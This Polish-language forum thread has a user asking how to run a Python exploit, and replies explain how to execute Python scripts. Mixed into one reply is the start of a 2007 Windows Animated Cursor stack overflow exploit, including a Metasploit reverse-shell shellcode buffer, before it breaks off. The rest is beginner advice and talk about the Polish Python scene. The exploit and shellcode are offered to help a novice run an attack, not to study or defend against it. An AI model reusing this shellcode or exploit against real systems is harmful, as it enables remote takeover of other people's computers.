Jak mam uruchomic exploi w python taki jak ten http://phpfi.com/250617 co mam zrobic?
Printable View
Jak mam uruchomic exploi w python taki jak ten http://phpfi.com/250617 co mam zrobic?
pewno skompilowac...
edit
no tak phyntona sie nie kompliuje
Taaaaaa wlasnie nie wiec ma ktos inne pomysly?
No ja Cie proszę! Wklejasz kod do pliku tekstowego i potem komenda (spod konsoli):
i tyle.Kod:python nazwa_pliku
..................... ...
Wyedytuj plik, który będzie zawierał Twój program w Pythonie:
Wpisz w niego swój kod pythona:Kod:pico try_python
Pierwsza linia (zaczynająca się od #!) mówi powłoce, jak wykonać ten plik tekstowy musi się tam znajdować (zawsze jako pierwsza linia), by Linux wiedział, czym konkretnie jest ten plik tekstowy.Kod:#!/usr/bin/env python
#
# $Id: win32-loadaniicon.py 4 2007-06-02 00:47:59Z ramon $
#
# Windows Animated Cursor Stack Overflow Exploit
# Copyright 2007 Ramon de Carvalho Valle <[email protected]>,
# RISE Security <[email protected]>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
#
#
# Windows Animated Cursor Stack Overflow Vulnerability
# http://www.determina.com/security.research/vulnerabilities/ani-header.html
#
from BaseHTTPServer import *
from os.path import *
from random import *
from socket import *
from string import *
from struct import *
from sys import *
#
# windows/shell_reverse_tcp - 287 bytes
# http://www.metasploit.com
# EXITFUNC=seh, LPORT=1234, LHOST=127.0.0.1
#
buf = \
'\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b' + \
'\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01' + \
'\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07' + \
'\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f' + \
'\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b' + \
'\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c' + \
'\x8b\x70\x1c\xad\x8b\x40\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff' + \
'\xd6\x66\x53\x66\x68\x33\x32\x68\x77\x73\x32\x5f\x54\xff\xd0' + \
'\x68\xcb\xed\xfc\x3b\x50\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08' + \
'\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53' + \
'\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x68\x7f\x00\x00\x01\x66' + \
'\x68\x04\xd2\x66\x53\x89\xe1\x95\x68\xec\xf9\xaa\x60\x57\xff' + \
'\xd6\x6a\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68\x63\x6d\x6a' + \
'\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3\xaa\x95' + \
'\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab\x68' + \
'\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x51' + \
'\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\xff' + \
'\xd6\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\x79\xff\x75\x04' + \
'\xff\xd6\xff\x77\xfc\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6' + \
'\xff\xd0'
...
Po zapisaniu pliku i uczynieniu go wykonywalnym:
można go uruchomić, wpisując:Kod:chmod a+x try_python
Kod:./try_python
Kompiluje, kompiluje.
http://ppcg.eu.org/forum/index.php?topic=12.0
Hej neji...
Jak ktos nie wie jak uruchomic .py to moze lepiej nie zawracac mu glowy kompilacjami :) Niech ludzie zaczynaja lepiej od podstaw.
Swoja droga nie wiedzialem ze python trzyma sie tak niezle :) wiec chyba sam do niego zajrze. Dzieki za zwrocenie uwagi na fajne rzeczy!
Zwróć, na prawdę warto. Zwłaszcza, że powstała Polska Scena Pythona, która zajmuje się promocją języka i dostarczaniem przetłumaczonej dokumentacji i wielu ciekawych rozwiązań, czytaj skryptów.
Im więcej głów i ciekawych pomysł, tym jest większe prawdopodobieństwo na to by Python osiągnął status "znanego języka" i powszechnie używanego :).
3m się.